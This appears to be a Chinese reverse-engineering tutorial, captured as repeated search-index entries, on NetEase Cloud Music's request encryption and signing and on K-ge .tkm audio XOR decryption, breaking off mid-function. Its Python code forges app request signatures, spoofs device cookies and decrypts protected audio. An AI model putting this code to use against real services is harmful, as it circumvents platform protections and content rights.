AES.block_size pkcs7 = lambda t: t + (bs - len(t) % bs) * chr(bs - len(t) % bs) cryptor = AES.new(key, AES.MODE_CBC, iv) encrypt_text = cryptor.encrypt(str.encode(pkcs7(data))) return str(base64.encodebytes(encrypt_text), encoding='utf-8').strip() def rsa(self, data, exponent, modulus): \"\"\"RSA 加密（无填充，反向字节序）\"\"\" res = int(codecs.encode(data[::-1].encode('utf-8'), 'hex_codec'), 16) ** int(exponent, 16) % int(modulus, 16) return format(res, 'x').zfill(256) def get_formdata(self, data): \"\"\"生成 Web 端请求参数\"\"\" # 1. 生成 16 位随机密钥 random_key = ''.join([random.choice(self.words) for _ in range(16)]) # 2. 两次 AES 加密：先用固定 key，再用随机 key params = self.aes(self.aes(data, self.aes_key, self.aes_iv), random_key, self.aes_iv) # 3. RSA 加密随机密钥 seckey = self.rsa(random_key, self.rsa_exponent, self.rsa_modulus) return {\"params\": params, \"encSecKey\": seckey} App 端 eapi 接口加密 def md5_app_sign(self, path, data): \"\"\"App 端签名算法\"\"\" string = \"nobody\" + path + \"use\" + data + \"md5for******\" return hashlib.new(\"md5\", string.encode()).hexdigest() def encrypt_app_params(self, path, data): \"\"\"App 端参数加密\"\"\" sign = self.md5_app_sign(path, data) # 使用固定分隔符拼接 string = str.encode(path + \"-36cd479****-\" + data + \"-36cd479****-\" + sign) # PKCS7 填充 string = string + (chr((16 - (len(string) % 16))).encode() * (16 - (len(string) % 16))) # AES-ECB 加密 encryptor = AES.new(b\"e82ckenh8dic****\", AES.MODE_ECB) ciphertext = encryptor.encrypt(string) return binascii.b2a_hex(ciphertext).upper() def decrypt_app_data(self, data): \"\"\"App 端响应解密\"\"\" encryptor = AES.new(b\"e82ckenh8dic****\", AES.MODE_ECB) data = encryptor.decrypt(data).decode() return data[:data.rfind(\"}\") + 1] 设备指纹 Cookie 构造 def get_app_cookie(self, device): \"\"\"构造 App 端设备指纹 Cookie\"\"\" cookies = { \"EVNSM\": \"1.0.0\", \"osver\": device.get(\"os_version\"), # 系统版本 \"deviceId\": device.get(\"device_id\"), # 设备 ID \"appver\": \"9.1.0\", # App 版本 \"NMDI\": device.get(\"nmdi\"), # 网易设备标识 \"NMCID\": device.get(\"cid\"), # 渠道 ID \"versioncode\": \"9001000\", \"mobilename\": device.get(\"model\").replace(\" \", \"\"), # 手机型号 \"resolution\": device.get(\"resolution\"), # 分辨率 \"os\": \"android\", \"channel\": \"ali\" # 渠道来源 } if \"music_a\" in device: cookies[\"MUSIC_A\"] = device.get(\"music_a\") # 登录凭证 if \"nmtid\" in device: cookies[\"NMTID\"] = device.get(\"nmtid\") # 跟踪 ID if \"csrf\" in device: cookies[\"__csrf\"] = device.get(\"csrf\") # CSRF Token return \"; \".join([f\"{k}={v}\" for k, v in cookies.items()]) 实际请求示例 def search(self, keyword, offset): \"\"\"歌手搜索 API 调用示例\"\"\" # 1. 构造请求数据 data = json.dumps({ \"sub\": \"false\", \"s\": keyword, \"q_scene\": \"normal\", \"offset\": str(offset), \"queryCorrect\": \"true\", \"checkToken\": self.random_check_token(), # 随机校验 Token \"limit\": \"100\", \"header\": \"{}\", \"e_r\": \"true\" }, ensure_ascii=False) # 2. 加密参数 url = \"https://interface.music.163.com/eapi/v1/search/artist/get\" encrypted = self.encrypt_app_params(\"/api/v1/search/artist/get\", data) # 3. 发送请求 headers = self.get_app_headers() res = requests.post(url, data=f\"params={encrypted.decode()}\", headers=headers) # 4. 解密响应 return json.loads(self.decrypt_app_data(res.content)) ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:4:1","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#网某云音乐-api-加密实现"},{"categories":null,"collections":null,"content":"网某云音乐 API 加密实现 网某云音乐采用 AES + RSA 双层加密方案，Web 端和 App 端使用不同的加密策略。 核心密钥常量 class Music163: def __init__(self): # Web 端 AES 密钥和 IV self.aes_key = '0CoJUm6Qyw8W****' self.aes_iv = '01020304050***08' # RSA 公钥参数 self.rsa_exponent = '010001' self.rsa_modulus = '00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22****' # 随机字符集，用于生成随机密钥 self.words = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' Web 端加密流程 (params + encSecKey) def aes(self, data, key, iv): \"\"\"AES-CBC 加密，PKCS7 填充\"\"\" bs = AES.block_size pkcs7 = lambda t: t + (bs - len(t) % bs) * chr(bs - len(t) % bs) cryptor = AES.new(key, AES.MODE_CBC, iv) encrypt_text = cryptor.encrypt(str.encode(pkcs7(data))) return str(base64.encodebytes(encrypt_text), encoding='utf-8').strip() def rsa(self, data, exponent, modulus): \"\"\"RSA 加密（无填充，反向字节序）\"\"\" res = int(codecs.encode(data[::-1].encode('utf-8'), 'hex_codec'), 16) ** int(exponent, 16) % int(modulus, 16) return format(res, 'x').zfill(256) def get_formdata(self, data): \"\"\"生成 Web 端请求参数\"\"\" # 1. 生成 16 位随机密钥 random_key = ''.join([random.choice(self.words) for _ in range(16)]) # 2. 两次 AES 加密：先用固定 key，再用随机 key params = self.aes(self.aes(data, self.aes_key, self.aes_iv), random_key, self.aes_iv) # 3. RSA 加密随机密钥 seckey = self.rsa(random_key, self.rsa_exponent, self.rsa_modulus) return {\"params\": params, \"encSecKey\": seckey} App 端 eapi 接口加密 def md5_app_sign(self, path, data): \"\"\"App 端签名算法\"\"\" string = \"nobody\" + path + \"use\" + data + \"md5for******\" return hashlib.new(\"md5\", string.encode()).hexdigest() def encrypt_app_params(self, path, data): \"\"\"App 端参数加密\"\"\" sign = self.md5_app_sign(path, data) # 使用固定分隔符拼接 string = str.encode(path + \"-36cd479****-\" + data + \"-36cd479****-\" + sign) # PKCS7 填充 string = string + (chr((16 - (len(string) % 16))).encode() * (16 - (len(string) % 16))) # AES-ECB 加密 encryptor = AES.new(b\"e82ckenh8dic****\", AES.MODE_ECB) ciphertext = encryptor.encrypt(string) return binascii.b2a_hex(ciphertext).upper() def decrypt_app_data(self, data): \"\"\"App 端响应解密\"\"\" encryptor = AES.new(b\"e82ckenh8dic****\", AES.MODE_ECB) data = encryptor.decrypt(data).decode() return data[:data.rfind(\"}\") + 1] 设备指纹 Cookie 构造 def get_app_cookie(self, device): \"\"\"构造 App 端设备指纹 Cookie\"\"\" cookies = { \"EVNSM\": \"1.0.0\", \"osver\": device.get(\"os_version\"), # 系统版本 \"deviceId\": device.get(\"device_id\"), # 设备 ID \"appver\": \"9.1.0\", # App 版本 \"NMDI\": device.get(\"nmdi\"), # 网易设备标识 \"NMCID\": device.get(\"cid\"), # 渠道 ID \"versioncode\": \"9001000\", \"mobilename\": device.get(\"model\").replace(\" \", \"\"), # 手机型号 \"resolution\": device.get(\"resolution\"), # 分辨率 \"os\": \"android\", \"channel\": \"ali\" # 渠道来源 } if \"music_a\" in device: cookies[\"MUSIC_A\"] = device.get(\"music_a\") # 登录凭证 if \"nmtid\" in device: cookies[\"NMTID\"] = device.get(\"nmtid\") # 跟踪 ID if \"csrf\" in device: cookies[\"__csrf\"] = device.get(\"csrf\") # CSRF Token return \"; \".join([f\"{k}={v}\" for k, v in cookies.items()]) 实际请求示例 def search(self, keyword, offset): \"\"\"歌手搜索 API 调用示例\"\"\" # 1. 构造请求数据 data = json.dumps({ \"sub\": \"false\", \"s\": keyword, \"q_scene\": \"normal\", \"offset\": str(offset), \"queryCorrect\": \"true\", \"checkToken\": self.random_check_token(), # 随机校验 Token \"limit\": \"100\", \"header\": \"{}\", \"e_r\": \"true\" }, ensure_ascii=False) # 2. 加密参数 url = \"https://interface.music.163.com/eapi/v1/search/artist/get\" encrypted = self.encrypt_app_params(\"/api/v1/search/artist/get\", data) # 3. 发送请求 headers = self.get_app_headers() res = requests.post(url, data=f\"params={encrypted.decode()}\", headers=headers) # 4. 解密响应 return json.loads(self.decrypt_app_data(res.content)) ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:4:1","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#核心密钥常量"},{"categories":null,"collections":null,"content":"网某云音乐 API 加密实现 网某云音乐采用 AES + RSA 双层加密方案，Web 端和 App 端使用不同的加密策略。 核心密钥常量 class Music163: def __init__(self): # Web 端 AES 密钥和 IV self.aes_key = '0CoJUm6Qyw8W****' self.aes_iv = '01020304050***08' # RSA 公钥参数 self.rsa_exponent = '010001' self.rsa_modulus = '00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22****' # 随机字符集，用于生成随机密钥 self.words = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' Web 端加密流程 (params + encSecKey) def aes(self, data, key, iv): \"\"\"AES-CBC 加密，PKCS7 填充\"\"\" bs = AES.block_size pkcs7 = lambda t: t + (bs - len(t) % bs) * chr(bs - len(t) % bs) cryptor = AES.new(key, AES.MODE_CBC, iv) encrypt_text = cryptor.encrypt(str.encode(pkcs7(data))) return str(base64.encodebytes(encrypt_text), encoding='utf-8').strip() def rsa(self, data, exponent, modulus): \"\"\"RSA 加密（无填充，反向字节序）\"\"\" res = int(codecs.encode(data[::-1].encode('utf-8'), 'hex_codec'), 16) ** int(exponent, 16) % int(modulus, 16) return format(res, 'x').zfill(256) def get_formdata(self, data): \"\"\"生成 Web 端请求参数\"\"\" # 1. 生成 16 位随机密钥 random_key = ''.join([random.choice(self.words) for _ in range(16)]) # 2. 两次 AES 加密：先用固定 key，再用随机 key params = self.aes(self.aes(data, self.aes_key, self.aes_iv), random_key, self.aes_iv) # 3. RSA 加密随机密钥 seckey = self.rsa(random_key, self.rsa_exponent, self.rsa_modulus) return {\"params\": params, \"encSecKey\": seckey} App 端 eapi 接口加密 def md5_app_sign(self, path, data): \"\"\"App 端签名算法\"\"\" string = \"nobody\" + path + \"use\" + data + \"md5for******\" return hashlib.new(\"md5\", string.encode()).hexdigest() def encrypt_app_params(self, path, data): \"\"\"App 端参数加密\"\"\" sign = self.md5_app_sign(path, data) # 使用固定分隔符拼接 string = str.encode(path + \"-36cd479****-\" + data + \"-36cd479****-\" + sign) # PKCS7 填充 string = string + (chr((16 - (len(string) % 16))).encode() * (16 - (len(string) % 16))) # AES-ECB 加密 encryptor = AES.new(b\"e82ckenh8dic****\", AES.MODE_ECB) ciphertext = encryptor.encrypt(string) return binascii.b2a_hex(ciphertext).upper() def decrypt_app_data(self, data): \"\"\"App 端响应解密\"\"\" encryptor = AES.new(b\"e82ckenh8dic****\", AES.MODE_ECB) data = encryptor.decrypt(data).decode() return data[:data.rfind(\"}\") + 1] 设备指纹 Cookie 构造 def get_app_cookie(self, device): \"\"\"构造 App 端设备指纹 Cookie\"\"\" cookies = { \"EVNSM\": \"1.0.0\", \"osver\": device.get(\"os_version\"), # 系统版本 \"deviceId\": device.get(\"device_id\"), # 设备 ID \"appver\": \"9.1.0\", # App 版本 \"NMDI\": device.get(\"nmdi\"), # 网易设备标识 \"NMCID\": device.get(\"cid\"), # 渠道 ID \"versioncode\": \"9001000\", \"mobilename\": device.get(\"model\").replace(\" \", \"\"), # 手机型号 \"resolution\": device.get(\"resolution\"), # 分辨率 \"os\": \"android\", \"channel\": \"ali\" # 渠道来源 } if \"music_a\" in device: cookies[\"MUSIC_A\"] = device.get(\"music_a\") # 登录凭证 if \"nmtid\" in device: cookies[\"NMTID\"] = device.get(\"nmtid\") # 跟踪 ID if \"csrf\" in device: cookies[\"__csrf\"] = device.get(\"csrf\") # CSRF Token return \"; \".join([f\"{k}={v}\" for k, v in cookies.items()]) 实际请求示例 def search(self, keyword, offset): \"\"\"歌手搜索 API 调用示例\"\"\" # 1. 构造请求数据 data = json.dumps({ \"sub\": \"false\", \"s\": keyword, \"q_scene\": \"normal\", \"offset\": str(offset), \"queryCorrect\": \"true\", \"checkToken\": self.random_check_token(), # 随机校验 Token \"limit\": \"100\", \"header\": \"{}\", \"e_r\": \"true\" }, ensure_ascii=False) # 2. 加密参数 url = \"https://interface.music.163.com/eapi/v1/search/artist/get\" encrypted = self.encrypt_app_params(\"/api/v1/search/artist/get\", data) # 3. 发送请求 headers = self.get_app_headers() res = requests.post(url, data=f\"params={encrypted.decode()}\", headers=headers) # 4. 解密响应 return json.loads(self.decrypt_app_data(res.content)) ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:4:1","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#web-端加密流程-params--encseckey"},{"categories":null,"collections":null,"content":"网某云音乐 API 加密实现 网某云音乐采用 AES + RSA 双层加密方案，Web 端和 App 端使用不同的加密策略。 核心密钥常量 class Music163: def __init__(self): # Web 端 AES 密钥和 IV self.aes_key = '0CoJUm6Qyw8W****' self.aes_iv = '01020304050***08' # RSA 公钥参数 self.rsa_exponent = '010001' self.rsa_modulus = '00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22****' # 随机字符集，用于生成随机密钥 self.words = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' Web 端加密流程 (params + encSecKey) def aes(self, data, key, iv): \"\"\"AES-CBC 加密，PKCS7 填充\"\"\" bs = AES.block_size pkcs7 = lambda t: t + (bs - len(t) % bs) * chr(bs - len(t) % bs) cryptor = AES.new(key, AES.MODE_CBC, iv) encrypt_text = cryptor.encrypt(str.encode(pkcs7(data))) return str(base64.encodebytes(encrypt_text), encoding='utf-8').strip() def rsa(self, data, exponent, modulus): \"\"\"RSA 加密（无填充，反向字节序）\"\"\" res = int(codecs.encode(data[::-1].encode('utf-8'), 'hex_codec'), 16) ** int(exponent, 16) % int(modulus, 16) return format(res, 'x').zfill(256) def get_formdata(self, data): \"\"\"生成 Web 端请求参数\"\"\" # 1. 生成 16 位随机密钥 random_key = ''.join([random.choice(self.words) for _ in range(16)]) # 2. 两次 AES 加密：先用固定 key，再用随机 key params = self.aes(self.aes(data, self.aes_key, self.aes_iv), random_key, self.aes_iv) # 3. RSA 加密随机密钥 seckey = self.rsa(random_key, self.rsa_exponent, self.rsa_modulus) return {\"params\": params, \"encSecKey\": seckey} App 端 eapi 接口加密 def md5_app_sign(self, path, data): \"\"\"App 端签名算法\"\"\" string = \"nobody\" + path + \"use\" + data + \"md5for******\" return hashlib.new(\"md5\", string.encode()).hexdigest() def encrypt_app_params(self, path, data): \"\"\"App 端参数加密\"\"\" sign = self.md5_app_sign(path, data) # 使用固定分隔符拼接 string = str.encode(path + \"-36cd479****-\" + data + \"-36cd479****-\" + sign) # PKCS7 填充 string = string + (chr((16 - (len(string) % 16))).encode() * (16 - (len(string) % 16))) # AES-ECB 加密 encryptor = AES.new(b\"e82ckenh8dic****\", AES.MODE_ECB) ciphertext = encryptor.encrypt(string) return binascii.b2a_hex(ciphertext).upper() def decrypt_app_data(self, data): \"\"\"App 端响应解密\"\"\" encryptor = AES.new(b\"e82ckenh8dic****\", AES.MODE_ECB) data = encryptor.decrypt(data).decode() return data[:data.rfind(\"}\") + 1] 设备指纹 Cookie 构造 def get_app_cookie(self, device): \"\"\"构造 App 端设备指纹 Cookie\"\"\" cookies = { \"EVNSM\": \"1.0.0\", \"osver\": device.get(\"os_version\"), # 系统版本 \"deviceId\": device.get(\"device_id\"), # 设备 ID \"appver\": \"9.1.0\", # App 版本 \"NMDI\": device.get(\"nmdi\"), # 网易设备标识 \"NMCID\": device.get(\"cid\"), # 渠道 ID \"versioncode\": \"9001000\", \"mobilename\": device.get(\"model\").replace(\" \", \"\"), # 手机型号 \"resolution\": device.get(\"resolution\"), # 分辨率 \"os\": \"android\", \"channel\": \"ali\" # 渠道来源 } if \"music_a\" in device: cookies[\"MUSIC_A\"] = device.get(\"music_a\") # 登录凭证 if \"nmtid\" in device: cookies[\"NMTID\"] = device.get(\"nmtid\") # 跟踪 ID if \"csrf\" in device: cookies[\"__csrf\"] = device.get(\"csrf\") # CSRF Token return \"; \".join([f\"{k}={v}\" for k, v in cookies.items()]) 实际请求示例 def search(self, keyword, offset): \"\"\"歌手搜索 API 调用示例\"\"\" # 1. 构造请求数据 data = json.dumps({ \"sub\": \"false\", \"s\": keyword, \"q_scene\": \"normal\", \"offset\": str(offset), \"queryCorrect\": \"true\", \"checkToken\": self.random_check_token(), # 随机校验 Token \"limit\": \"100\", \"header\": \"{}\", \"e_r\": \"true\" }, ensure_ascii=False) # 2. 加密参数 url = \"https://interface.music.163.com/eapi/v1/search/artist/get\" encrypted = self.encrypt_app_params(\"/api/v1/search/artist/get\", data) # 3. 发送请求 headers = self.get_app_headers() res = requests.post(url, data=f\"params={encrypted.decode()}\", headers=headers) # 4. 解密响应 return json.loads(self.decrypt_app_data(res.content)) ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:4:1","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#app-端-eapi-接口加密"},{"categories":null,"collections":null,"content":"网某云音乐 API 加密实现 网某云音乐采用 AES + RSA 双层加密方案，Web 端和 App 端使用不同的加密策略。 核心密钥常量 class Music163: def __init__(self): # Web 端 AES 密钥和 IV self.aes_key = '0CoJUm6Qyw8W****' self.aes_iv = '01020304050***08' # RSA 公钥参数 self.rsa_exponent = '010001' self.rsa_modulus = '00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22****' # 随机字符集，用于生成随机密钥 self.words = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' Web 端加密流程 (params + encSecKey) def aes(self, data, key, iv): \"\"\"AES-CBC 加密，PKCS7 填充\"\"\" bs = AES.block_size pkcs7 = lambda t: t + (bs - len(t) % bs) * chr(bs - len(t) % bs) cryptor = AES.new(key, AES.MODE_CBC, iv) encrypt_text = cryptor.encrypt(str.encode(pkcs7(data))) return str(base64.encodebytes(encrypt_text), encoding='utf-8').strip() def rsa(self, data, exponent, modulus): \"\"\"RSA 加密（无填充，反向字节序）\"\"\" res = int(codecs.encode(data[::-1].encode('utf-8'), 'hex_codec'), 16) ** int(exponent, 16) % int(modulus, 16) return format(res, 'x').zfill(256) def get_formdata(self, data): \"\"\"生成 Web 端请求参数\"\"\" # 1. 生成 16 位随机密钥 random_key = ''.join([random.choice(self.words) for _ in range(16)]) # 2. 两次 AES 加密：先用固定 key，再用随机 key params = self.aes(self.aes(data, self.aes_key, self.aes_iv), random_key, self.aes_iv) # 3. RSA 加密随机密钥 seckey = self.rsa(random_key, self.rsa_exponent, self.rsa_modulus) return {\"params\": params, \"encSecKey\": seckey} App 端 eapi 接口加密 def md5_app_sign(self, path, data): \"\"\"App 端签名算法\"\"\" string = \"nobody\" + path + \"use\" + data + \"md5for******\" return hashlib.new(\"md5\", string.encode()).hexdigest() def encrypt_app_params(self, path, data): \"\"\"App 端参数加密\"\"\" sign = self.md5_app_sign(path, data) # 使用固定分隔符拼接 string = str.encode(path + \"-36cd479****-\" + data + \"-36cd479****-\" + sign) # PKCS7 填充 string = string + (chr((16 - (len(string) % 16))).encode() * (16 - (len(string) % 16))) # AES-ECB 加密 encryptor = AES.new(b\"e82ckenh8dic****\", AES.MODE_ECB) ciphertext = encryptor.encrypt(string) return binascii.b2a_hex(ciphertext).upper() def decrypt_app_data(self, data): \"\"\"App 端响应解密\"\"\" encryptor = AES.new(b\"e82ckenh8dic****\", AES.MODE_ECB) data = encryptor.decrypt(data).decode() return data[:data.rfind(\"}\") + 1] 设备指纹 Cookie 构造 def get_app_cookie(self, device): \"\"\"构造 App 端设备指纹 Cookie\"\"\" cookies = { \"EVNSM\": \"1.0.0\", \"osver\": device.get(\"os_version\"), # 系统版本 \"deviceId\": device.get(\"device_id\"), # 设备 ID \"appver\": \"9.1.0\", # App 版本 \"NMDI\": device.get(\"nmdi\"), # 网易设备标识 \"NMCID\": device.get(\"cid\"), # 渠道 ID \"versioncode\": \"9001000\", \"mobilename\": device.get(\"model\").replace(\" \", \"\"), # 手机型号 \"resolution\": device.get(\"resolution\"), # 分辨率 \"os\": \"android\", \"channel\": \"ali\" # 渠道来源 } if \"music_a\" in device: cookies[\"MUSIC_A\"] = device.get(\"music_a\") # 登录凭证 if \"nmtid\" in device: cookies[\"NMTID\"] = device.get(\"nmtid\") # 跟踪 ID if \"csrf\" in device: cookies[\"__csrf\"] = device.get(\"csrf\") # CSRF Token return \"; \".join([f\"{k}={v}\" for k, v in cookies.items()]) 实际请求示例 def search(self, keyword, offset): \"\"\"歌手搜索 API 调用示例\"\"\" # 1. 构造请求数据 data = json.dumps({ \"sub\": \"false\", \"s\": keyword, \"q_scene\": \"normal\", \"offset\": str(offset), \"queryCorrect\": \"true\", \"checkToken\": self.random_check_token(), # 随机校验 Token \"limit\": \"100\", \"header\": \"{}\", \"e_r\": \"true\" }, ensure_ascii=False) # 2. 加密参数 url = \"https://interface.music.163.com/eapi/v1/search/artist/get\" encrypted = self.encrypt_app_params(\"/api/v1/search/artist/get\", data) # 3. 发送请求 headers = self.get_app_headers() res = requests.post(url, data=f\"params={encrypted.decode()}\", headers=headers) # 4. 解密响应 return json.loads(self.decrypt_app_data(res.content)) ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:4:1","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#设备指纹-cookie-构造"},{"categories":null,"collections":null,"content":"网某云音乐 API 加密实现 网某云音乐采用 AES + RSA 双层加密方案，Web 端和 App 端使用不同的加密策略。 核心密钥常量 class Music163: def __init__(self): # Web 端 AES 密钥和 IV self.aes_key = '0CoJUm6Qyw8W****' self.aes_iv = '01020304050***08' # RSA 公钥参数 self.rsa_exponent = '010001' self.rsa_modulus = '00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22****' # 随机字符集，用于生成随机密钥 self.words = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' Web 端加密流程 (params + encSecKey) def aes(self, data, key, iv): \"\"\"AES-CBC 加密，PKCS7 填充\"\"\" bs = AES.block_size pkcs7 = lambda t: t + (bs - len(t) % bs) * chr(bs - len(t) % bs) cryptor = AES.new(key, AES.MODE_CBC, iv) encrypt_text = cryptor.encrypt(str.encode(pkcs7(data))) return str(base64.encodebytes(encrypt_text), encoding='utf-8').strip() def rsa(self, data, exponent, modulus): \"\"\"RSA 加密（无填充，反向字节序）\"\"\" res = int(codecs.encode(data[::-1].encode('utf-8'), 'hex_codec'), 16) ** int(exponent, 16) % int(modulus, 16) return format(res, 'x').zfill(256) def get_formdata(self, data): \"\"\"生成 Web 端请求参数\"\"\" # 1. 生成 16 位随机密钥 random_key = ''.join([random.choice(self.words) for _ in range(16)]) # 2. 两次 AES 加密：先用固定 key，再用随机 key params = self.aes(self.aes(data, self.aes_key, self.aes_iv), random_key, self.aes_iv) # 3. RSA 加密随机密钥 seckey = self.rsa(random_key, self.rsa_exponent, self.rsa_modulus) return {\"params\": params, \"encSecKey\": seckey} App 端 eapi 接口加密 def md5_app_sign(self, path, data): \"\"\"App 端签名算法\"\"\" string = \"nobody\" + path + \"use\" + data + \"md5for******\" return hashlib.new(\"md5\", string.encode()).hexdigest() def encrypt_app_params(self, path, data): \"\"\"App 端参数加密\"\"\" sign = self.md5_app_sign(path, data) # 使用固定分隔符拼接 string = str.encode(path + \"-36cd479****-\" + data + \"-36cd479****-\" + sign) # PKCS7 填充 string = string + (chr((16 - (len(string) % 16))).encode() * (16 - (len(string) % 16))) # AES-ECB 加密 encryptor = AES.new(b\"e82ckenh8dic****\", AES.MODE_ECB) ciphertext = encryptor.encrypt(string) return binascii.b2a_hex(ciphertext).upper() def decrypt_app_data(self, data): \"\"\"App 端响应解密\"\"\" encryptor = AES.new(b\"e82ckenh8dic****\", AES.MODE_ECB) data = encryptor.decrypt(data).decode() return data[:data.rfind(\"}\") + 1] 设备指纹 Cookie 构造 def get_app_cookie(self, device): \"\"\"构造 App 端设备指纹 Cookie\"\"\" cookies = { \"EVNSM\": \"1.0.0\", \"osver\": device.get(\"os_version\"), # 系统版本 \"deviceId\": device.get(\"device_id\"), # 设备 ID \"appver\": \"9.1.0\", # App 版本 \"NMDI\": device.get(\"nmdi\"), # 网易设备标识 \"NMCID\": device.get(\"cid\"), # 渠道 ID \"versioncode\": \"9001000\", \"mobilename\": device.get(\"model\").replace(\" \", \"\"), # 手机型号 \"resolution\": device.get(\"resolution\"), # 分辨率 \"os\": \"android\", \"channel\": \"ali\" # 渠道来源 } if \"music_a\" in device: cookies[\"MUSIC_A\"] = device.get(\"music_a\") # 登录凭证 if \"nmtid\" in device: cookies[\"NMTID\"] = device.get(\"nmtid\") # 跟踪 ID if \"csrf\" in device: cookies[\"__csrf\"] = device.get(\"csrf\") # CSRF Token return \"; \".join([f\"{k}={v}\" for k, v in cookies.items()]) 实际请求示例 def search(self, keyword, offset): \"\"\"歌手搜索 API 调用示例\"\"\" # 1. 构造请求数据 data = json.dumps({ \"sub\": \"false\", \"s\": keyword, \"q_scene\": \"normal\", \"offset\": str(offset), \"queryCorrect\": \"true\", \"checkToken\": self.random_check_token(), # 随机校验 Token \"limit\": \"100\", \"header\": \"{}\", \"e_r\": \"true\" }, ensure_ascii=False) # 2. 加密参数 url = \"https://interface.music.163.com/eapi/v1/search/artist/get\" encrypted = self.encrypt_app_params(\"/api/v1/search/artist/get\", data) # 3. 发送请求 headers = self.get_app_headers() res = requests.post(url, data=f\"params={encrypted.decode()}\", headers=headers) # 4. 解密响应 return json.loads(self.decrypt_app_data(res.content)) ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:4:1","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#实际请求示例"},{"categories":null,"collections":null,"content":"全某 K 歌/某狗音乐音频解密 全某 K 歌使用 .tkm 格式存储加密音频，解密算法基于预计算的异或表。 异或映射表生成 # 核心 Seed 映射表（256 字节） SEED_MAP = [ 0x77, 0x48, 0x32, 0x73, 0xDE, 0xF2, 0xC0, 0xC8, 0x95, 0xEC, 0x30, 0xB2, 0x51, 0xC3, 0xE1, 0xA0, 0x9E, 0xE6, 0x9D, 0xCF, 0xFA, 0x7F, 0x14, 0xD1, 0xCE, 0xB8, 0xDC, # ... 共 256 个字节 0x4A, 0x11 ] class Mask: \"\"\"生成解密掩码序列\"\"\" def __init__(self): self.index = 0 def next(self): \"\"\"计算下一个掩码字节\"\"\" v11 = self.index if v11 \u003e= 0x8000: v11 %= 0x7FFF # 核心算法：平方加常数取模后查表 result = SEED_MAP[(v11 * v11 + 80923) % 256] self.index += 1 return result 预计算异或文件生成 def generate_xbytes_file(): \"\"\"生成约 200MB 的异或表文件（一次性生成）\"\"\" mask = Mask() with open(\"xbytes\", \"wb\") as f: # 生成 209,771,520 字节的异或表 # 这个大小足以覆盖大多数音频文件 m = [mask.next() for _ in range(209771520)] f.write(bytes(m)) 音频解密实现 import sys class Kg: def __init__(self): self.xbytes_file = \"/path/to/xbytes\" # 预计算的异或表文件 def tkm2m4a(self, tkm_data): \"\"\"将加密的 .tkm 文件解密为 .m4a\"\"\" if len(tkm_data) \u003e 209771520: return None # 文件过大，超出异或表范围 with open(self.xbytes_file, \"rb\") as xbytes_file: xbytes = xbytes_file.read() # 将字节序列转换为大整数进行异或运算 int_tkm = int.from_bytes(tkm_data, sys.byteorder) int_xbytes = int.from_bytes(xbytes[:len(tkm_data)], sys.byteorder) # 核心解密：整数异或 m4a = (int_tkm ^ int_xbytes).to_bytes(len(tkm_data), sys.byteorder) return bytes(m4a) 伴奏下载完整流程 def download_accompany(self, mid): \"\"\"下载并解密全民K歌伴奏\"\"\" # 1. 获取 vkey（访问凭证） vkey = self.get_vkey() # 2. 构造媒体 URL media_url = f\"http://bsy.tsmusic.kg.qq.com/{media_mid}.tkm?vkey={vkey}\u0026guid=1736440468\u0026fromtag=0\" # 3. 下载加密音频 res = requests.get(media_url, headers=self.get_headers()) encrypted_data = res.content # 4. 解密为 m4a decrypted = self.tkm2m4a(encrypted_data) # 5. 保存文件 with open(f\"{mid}.m4a\", \"wb\") as f: 